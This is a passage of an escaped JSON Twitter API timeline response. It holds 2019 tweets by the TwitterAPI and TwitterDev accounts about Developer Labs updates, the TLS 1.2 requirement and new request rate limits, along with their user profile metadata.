App\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":2244994945,\"id_str\":\"2244994945\",\"name\":\"Twitter Dev\",\"screen_name\":\"TwitterDev\",\"location\":\"127.0.0.1\",\"description\":\"The voice of Twitter's #DevRel team, and your official source for updates, news, & events about Twitter's API.\\n\\nNeed help? Visit https:\\\/\\\/t.co\\\/DVDf7qKyS9\",\"url\":\"https:\\\/\\\/t.co\\\/3ZX3TNiZCY\",\"entities\":{\"url\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/3ZX3TNiZCY\",\"expanded_url\":\"https:\\\/\\\/developer.twitter.com\\\/en\\\/community\",\"display_url\":\"developer.twitter.com\\\/en\\\/community\",\"indices\":[0,23]}]},\"description\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/DVDf7qKyS9\",\"expanded_url\":\"http:\\\/\\\/twittercommunity.com\",\"display_url\":\"twittercommunity.com\",\"indices\":[129,152]}]}},\"protected\":false,\"followers_count\":507649,\"friends_count\":1808,\"listed_count\":1672,\"created_at\":\"Sat Dec 14 04:35:55 +0000 2013\",\"favourites_count\":2182,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":true,\"verified\":true,\"statuses_count\":3540,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"FFFFFF\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/880136122604507136\\\/xHrnqf1T_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/880136122604507136\\\/xHrnqf1T_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/2244994945\\\/1498675817\",\"profile_link_color\":\"0084B4\",\"profile_sidebar_border_color\":\"FFFFFF\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":false,\"has_extended_profile\":true,\"default_profile\":false,\"default_profile_image\":false,\"following\":null,\"follow_request_sent\":null,\"notifications\":null,\"translator_type\":\"regular\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":27,\"favorite_count\":95,\"favorited\":false,\"retweeted\":false,\"lang\":\"en\"},\"is_quote_status\":false,\"retweet_count\":27,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"lang\":\"en\"},{\"created_at\":\"Wed Jul 31 19:23:15 +0000 2019\",\"id\":1156646525121916928,\"id_str\":\"1156646525121916928\",\"text\":\"RT @TwitterDev: #iterating: Today we are releasing an update to Twitter Developer Labs, with a few new features we think you\\u2019ll find useful\\u2026\",\"truncated\":false,\"entities\":{\"hashtags\":[{\"text\":\"iterating\",\"indices\":[16,26]}],\"symbols\":[],\"user_mentions\":[{\"screen_name\":\"TwitterDev\",\"name\":\"Twitter Dev\",\"id\":2244994945,\"id_str\":\"2244994945\",\"indices\":[3,14]}],\"urls\":[]},\"source\":\"\\u003ca href=\\\"https:\\\/\\\/mobile.twitter.com\\\" rel=\\\"nofollow\\\"\\u003eTwitter Web App\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":6253282,\"id_str\":\"6253282\",\"name\":\"Twitter API\",\"screen_name\":\"TwitterAPI\",\"location\":\"San Francisco, CA\",\"description\":\"The Real Twitter API. Tweets about API changes, service issues and our Developer Platform. Don't get an answer? It's on my website.\",\"url\":\"https:\\\/\\\/t.co\\\/8IkCzCDr19\",\"entities\":{\"url\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/8IkCzCDr19\",\"expanded_url\":\"https:\\\/\\\/developer.twitter.com\",\"display_url\":\"developer.twitter.com\",\"indices\":[0,23]}]},\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":6084394,\"friends_count\":12,\"listed_count\":12763,\"created_at\":\"Wed May 23 06:01:13 +0000 2007\",\"favourites_count\":30,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":true,\"statuses_count\":3680,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"C0DEED\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":true,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/942858479592554497\\\/BbazLO9L_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/942858479592554497\\\/BbazLO9L_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/6253282\\\/1497491515\",\"profile_link_color\":\"0084B4\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":true,\"default_profile\":false,\"default_profile_image\":false,\"following\":null,\"follow_request_sent\":null,\"notifications\":null,\"translator_type\":\"regular\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"retweeted_status\":{\"created_at\":\"Wed Jul 31 19:20:25 +0000 2019\",\"id\":1156645810156650496,\"id_str\":\"1156645810156650496\",\"text\":\"#iterating: Today we are releasing an update to Twitter Developer Labs, with a few new features we think you\\u2019ll fin\\u2026 https:\\\/\\\/t.co\\\/VVp7rv6FIM\",\"truncated\":true,\"entities\":{\"hashtags\":[{\"text\":\"iterating\",\"indices\":[0,10]}],\"symbols\":[],\"user_mentions\":[],\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/VVp7rv6FIM\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/i\\\/web\\\/status\\\/1156645810156650496\",\"display_url\":\"twitter.com\\\/i\\\/web\\\/status\\\/1\\u2026\",\"indices\":[117,140]}]},\"source\":\"\\u003ca href=\\\"https:\\\/\\\/mobile.twitter.com\\\" rel=\\\"nofollow\\\"\\u003eTwitter Web App\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":2244994945,\"id_str\":\"2244994945\",\"name\":\"Twitter Dev\",\"screen_name\":\"TwitterDev\",\"location\":\"127.0.0.1\",\"description\":\"The voice of Twitter's #DevRel team, and your official source for updates, news, & events about Twitter's API.\\n\\nNeed help? Visit https:\\\/\\\/t.co\\\/DVDf7qKyS9\",\"url\":\"https:\\\/\\\/t.co\\\/3ZX3TNiZCY\",\"entities\":{\"url\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/3ZX3TNiZCY\",\"expanded_url\":\"https:\\\/\\\/developer.twitter.com\\\/en\\\/community\",\"display_url\":\"developer.twitter.com\\\/en\\\/community\",\"indices\":[0,23]}]},\"description\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/DVDf7qKyS9\",\"expanded_url\":\"http:\\\/\\\/twittercommunity.com\",\"display_url\":\"twittercommunity.com\",\"indices\":[129,152]}]}},\"protected\":false,\"followers_count\":507649,\"friends_count\":1808,\"listed_count\":1672,\"created_at\":\"Sat Dec 14 04:35:55 +0000 2013\",\"favourites_count\":2182,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":true,\"verified\":true,\"statuses_count\":3540,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"FFFFFF\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/880136122604507136\\\/xHrnqf1T_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/880136122604507136\\\/xHrnqf1T_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/2244994945\\\/1498675817\",\"profile_link_color\":\"0084B4\",\"profile_sidebar_border_color\":\"FFFFFF\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":false,\"has_extended_profile\":true,\"default_profile\":false,\"default_profile_image\":false,\"following\":null,\"follow_request_sent\":null,\"notifications\":null,\"translator_type\":\"regular\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":40,\"favorite_count\":105,\"favorited\":false,\"retweeted\":false,\"lang\":\"en\"},\"is_quote_status\":false,\"retweet_count\":40,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"lang\":\"en\"},{\"created_at\":\"Wed Jul 24 15:56:09 +0000 2019\",\"id\":1154057692723519494,\"id_str\":\"1154057692723519494\",\"text\":\"TLS 1.2 reminder: this change will be enacted as of tomorrow, July 25, 2019. Please reference our developer forum p\\u2026 https:\\\/\\\/t.co\\\/8YgCwYoE3q\",\"truncated\":true,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[],\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/8YgCwYoE3q\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/i\\\/web\\\/status\\\/1154057692723519494\",\"display_url\":\"twitter.com\\\/i\\\/web\\\/status\\\/1\\u2026\",\"indices\":[117,140]}]},\"source\":\"\\u003ca href=\\\"https:\\\/\\\/mobile.twitter.com\\\" rel=\\\"nofollow\\\"\\u003eTwitter Web App\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":6253282,\"id_str\":\"6253282\",\"name\":\"Twitter API\",\"screen_name\":\"TwitterAPI\",\"location\":\"San Francisco, CA\",\"description\":\"The Real Twitter API. Tweets about API changes, service issues and our Developer Platform. Don't get an answer? It's on my website.\",\"url\":\"https:\\\/\\\/t.co\\\/8IkCzCDr19\",\"entities\":{\"url\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/8IkCzCDr19\",\"expanded_url\":\"https:\\\/\\\/developer.twitter.com\",\"display_url\":\"developer.twitter.com\",\"indices\":[0,23]}]},\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":6084394,\"friends_count\":12,\"listed_count\":12763,\"created_at\":\"Wed May 23 06:01:13 +0000 2007\",\"favourites_count\":30,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":true,\"statuses_count\":3680,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"C0DEED\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":true,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/942858479592554497\\\/BbazLO9L_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/942858479592554497\\\/BbazLO9L_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/6253282\\\/1497491515\",\"profile_link_color\":\"0084B4\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":true,\"default_profile\":false,\"default_profile_image\":false,\"following\":null,\"follow_request_sent\":null,\"notifications\":null,\"translator_type\":\"regular\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":true,\"quoted_status_id\":1138569964032385025,\"quoted_status_id_str\":\"1138569964032385025\",\"quoted_status\":{\"created_at\":\"Tue Jun 11 22:13:27 +0000 2019\",\"id\":1138569964032385025,\"id_str\":\"1138569964032385025\",\"text\":\"Starting July 15, 2019, all connections to the Twitter API (and all other Twitter domains) will require TLS 1.2. Re\\u2026 https:\\\/\\\/t.co\\\/qMtoumuG1e\",\"truncated\":true,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[],\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/qMtoumuG1e\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/i\\\/web\\\/status\\\/1138569964032385025\",\"display_url\":\"twitter.com\\\/i\\\/web\\\/status\\\/1\\u2026\",\"indices\":[117,140]}]},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\" rel=\\\"nofollow\\\"\\u003eTwitter Web Client\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":6253282,\"id_str\":\"6253282\",\"name\":\"Twitter API\",\"screen_name\":\"TwitterAPI\",\"location\":\"San Francisco, CA\",\"description\":\"The Real Twitter API. Tweets about API changes, service issues and our Developer Platform. Don't get an answer? It's on my website.\",\"url\":\"https:\\\/\\\/t.co\\\/8IkCzCDr19\",\"entities\":{\"url\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/8IkCzCDr19\",\"expanded_url\":\"https:\\\/\\\/developer.twitter.com\",\"display_url\":\"developer.twitter.com\",\"indices\":[0,23]}]},\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":6084394,\"friends_count\":12,\"listed_count\":12763,\"created_at\":\"Wed May 23 06:01:13 +0000 2007\",\"favourites_count\":30,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":true,\"statuses_count\":3680,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"C0DEED\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":true,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/942858479592554497\\\/BbazLO9L_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/942858479592554497\\\/BbazLO9L_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/6253282\\\/1497491515\",\"profile_link_color\":\"0084B4\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":true,\"default_profile\":false,\"default_profile_image\":false,\"following\":null,\"follow_request_sent\":null,\"notifications\":null,\"translator_type\":\"regular\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":93,\"favorite_count\":114,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"en\"},\"retweet_count\":113,\"favorite_count\":122,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"en\"},{\"created_at\":\"Wed Jul 17 15:54:45 +0000 2019\",\"id\":1151520624315174912,\"id_str\":\"1151520624315174912\",\"text\":\"RT @TwitterDev: Academic research is some of the most impactful work that happens with the Twitter API. As we plan for the future of our de\\u2026\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[{\"screen_name\":\"TwitterDev\",\"name\":\"Twitter Dev\",\"id\":2244994945,\"id_str\":\"2244994945\",\"indices\":[3,14]}],\"urls\":[]},\"source\":\"\\u003ca href=\\\"https:\\\/\\\/about.twitter.com\\\/products\\\/tweetdeck\\\" rel=\\\"nofollow\\\"\\u003eTweetDeck\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":6253282,\"id_str\":\"6253282\",\"name\":\"Twitter API\",\"screen_name\":\"TwitterAPI\",\"location\":\"San Francisco, CA\",\"description\":\"The Real Twitter API. Tweets about API changes, service issues and our Developer Platform. Don't get an answer? It's on my website.\",\"url\":\"https:\\\/\\\/t.co\\\/8IkCzCDr19\",\"entities\":{\"url\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/8IkCzCDr19\",\"expanded_url\":\"https:\\\/\\\/developer.twitter.com\",\"display_url\":\"developer.twitter.com\",\"indices\":[0,23]}]},\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":6084394,\"friends_count\":12,\"listed_count\":12763,\"created_at\":\"Wed May 23 06:01:13 +0000 2007\",\"favourites_count\":30,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":true,\"statuses_count\":3680,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"C0DEED\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":true,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/942858479592554497\\\/BbazLO9L_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/942858479592554497\\\/BbazLO9L_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/6253282\\\/1497491515\",\"profile_link_color\":\"0084B4\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":true,\"default_profile\":false,\"default_profile_image\":false,\"following\":null,\"follow_request_sent\":null,\"notifications\":null,\"translator_type\":\"regular\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"retweeted_status\":{\"created_at\":\"Wed Jul 17 15:53:43 +0000 2019\",\"id\":1151520361529430016,\"id_str\":\"1151520361529430016\",\"text\":\"Academic research is some of the most impactful work that happens with the Twitter API. As we plan for the future o\\u2026 https:\\\/\\\/t.co\\\/dG3PmGWAJ4\",\"truncated\":true,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[],\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/dG3PmGWAJ4\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/i\\\/web\\\/status\\\/1151520361529430016\",\"display_url\":\"twitter.com\\\/i\\\/web\\\/status\\\/1\\u2026\",\"indices\":[117,140]}]},\"source\":\"\\u003ca href=\\\"https:\\\/\\\/mobile.twitter.com\\\" rel=\\\"nofollow\\\"\\u003eTwitter Web App\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":2244994945,\"id_str\":\"2244994945\",\"name\":\"Twitter Dev\",\"screen_name\":\"TwitterDev\",\"location\":\"127.0.0.1\",\"description\":\"The voice of Twitter's #DevRel team, and your official source for updates, news, & events about Twitter's API.\\n\\nNeed help? Visit https:\\\/\\\/t.co\\\/DVDf7qKyS9\",\"url\":\"https:\\\/\\\/t.co\\\/3ZX3TNiZCY\",\"entities\":{\"url\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/3ZX3TNiZCY\",\"expanded_url\":\"https:\\\/\\\/developer.twitter.com\\\/en\\\/community\",\"display_url\":\"developer.twitter.com\\\/en\\\/community\",\"indices\":[0,23]}]},\"description\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/DVDf7qKyS9\",\"expanded_url\":\"http:\\\/\\\/twittercommunity.com\",\"display_url\":\"twittercommunity.com\",\"indices\":[129,152]}]}},\"protected\":false,\"followers_count\":507649,\"friends_count\":1808,\"listed_count\":1672,\"created_at\":\"Sat Dec 14 04:35:55 +0000 2013\",\"favourites_count\":2182,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":true,\"verified\":true,\"statuses_count\":3540,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"FFFFFF\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/880136122604507136\\\/xHrnqf1T_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/880136122604507136\\\/xHrnqf1T_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/2244994945\\\/1498675817\",\"profile_link_color\":\"0084B4\",\"profile_sidebar_border_color\":\"FFFFFF\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":false,\"has_extended_profile\":true,\"default_profile\":false,\"default_profile_image\":false,\"following\":null,\"follow_request_sent\":null,\"notifications\":null,\"translator_type\":\"regular\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":423,\"favorite_count\":674,\"favorited\":false,\"retweeted\":false,\"lang\":\"en\"},\"is_quote_status\":false,\"retweet_count\":423,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"lang\":\"en\"},{\"created_at\":\"Mon Jun 24 17:50:46 +0000 2019\",\"id\":1143214899109277697,\"id_str\":\"1143214899109277697\",\"text\":\"We\\u2019ve spoken with all developers who\\u2019ve contacted us to discuss these new rate limits and elevations, and as of tod\\u2026 https:\\\/\\\/t.co\\\/w8WoepBjeU\",\"truncated\":true,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[],\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/w8WoepBjeU\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/i\\\/web\\\/status\\\/1143214899109277697\",\"display_url\":\"twitter.com\\\/i\\\/web\\\/status\\\/1\\u2026\",\"indices\":[117,140]}]},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\" rel=\\\"nofollow\\\"\\u003eTwitter Web Client\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":1141392777600806912,\"in_reply_to_status_id_str\":\"1141392777600806912\",\"in_reply_to_user_id\":6253282,\"in_reply_to_user_id_str\":\"6253282\",\"in_reply_to_screen_name\":\"TwitterAPI\",\"user\":{\"id\":6253282,\"id_str\":\"6253282\",\"name\":\"Twitter API\",\"screen_name\":\"TwitterAPI\",\"location\":\"San Francisco, CA\",\"description\":\"The Real Twitter API. Tweets about API changes, service issues and our Developer Platform. Don't get an answer? It's on my website.\",\"url\":\"https:\\\/\\\/t.co\\\/8IkCzCDr19\",\"entities\":{\"url\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/8IkCzCDr19\",\"expanded_url\":\"https:\\\/\\\/developer.twitter.com\",\"display_url\":\"developer.twitter.com\",\"indices\":[0,23]}]},\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":6084394,\"friends_count\":12,\"listed_count\":12763,\"created_at\":\"Wed May 23 06:01:13 +0000 2007\",\"favourites_count\":30,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":true,\"statuses_count\":3680,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"C0DEED\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":true,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/942858479592554497\\\/BbazLO9L_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/942858479592554497\\\/BbazLO9L_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/6253282\\\/1497491515\",\"profile_link_color\":\"0084B4\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":true,\"default_profile\":false,\"default_profile_image\":false,\"following\":null,\"follow_request_sent\":null,\"notifications\":null,\"translator_type\":\"regular\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":37,\"favorite_count\":85,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"en\"},{\"created_at\":\"Wed Jun 19 17:10:18 +0000 2019\",\"id\":1141392777600806912,\"id_str\":\"1141392777600806912\",\"text\":\"Request limit change: today, we're implementing a change to two commonly used Twitter standard API endpoints - user\\u2026 https:\\\/\\\/t.co\\\/ymDvv7r8lB\",\"truncated\":true,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[],\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/ymDvv7r8lB\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/i\\\/web\\\/status\\\/1141392777600806912\",\"display_url\":\"twitter.com\\\/i\\\/web\\\/status\\\/1\\u2026\",\"indices\":[117,140]}]},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\" rel=\\\"nofollow\\\"\\u003eTwitter Web Client\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":6253282,\"id_str\":\"6253282\",\"name\":\"Twitter API\",\"screen_name\":\"TwitterAPI\",\"location\":\"San Francisco, CA\",\"description\":\"The Real Twitter API. Tweets about API changes, service issues and our Developer Platform. Don't get an answer? It's on my website.\",\"url\":\"https:\\\/\\\/t.co\\\/8IkCzCDr19\",\"entities\":{\"url\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/8IkCzCDr19\",\"expanded_url\":\"https:\\\/\\\/developer.twitter.com\",\"display_url\":\"developer.twitter.com\",\"indices\":[0,23]}]},\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":6084394,\"friends_count\":12,\"listed_count\":12763,\"created_at\":\"Wed May 23 06:01:13 +0000 2007\",\"favourites_count\":30,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":true,\"statuses_count\":3680,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"C0DEED\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":true,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/942858479592554497\\\/BbazLO9L_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/942858479592554497\\\/BbazLO9L_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/6253282\\\/1497491515\",\"profile_link_color\":\"0084B4\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":true,\"default_profile\":false,\"default_profile_image\":false,\"following\":null,\"follow_request_sent\":null,\"notifications\":null,\"translator_type\":\"regular\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":true,\"quoted_status_id\":1141390793657266176,\"quoted_status_id_str\":\"1141390793657266176\",\"quoted_status\":{\"created_at\":\"Wed Jun 19 17:02:25 +0000 2019\",\"id\":1141390793657266176,\"id_str\":\"1141390793657266176\",\"text\":\"\\u2757\\ufe0fToday, user and mentions timeline request limits go into effect. If you want to learn more about this change, tak\\u2026 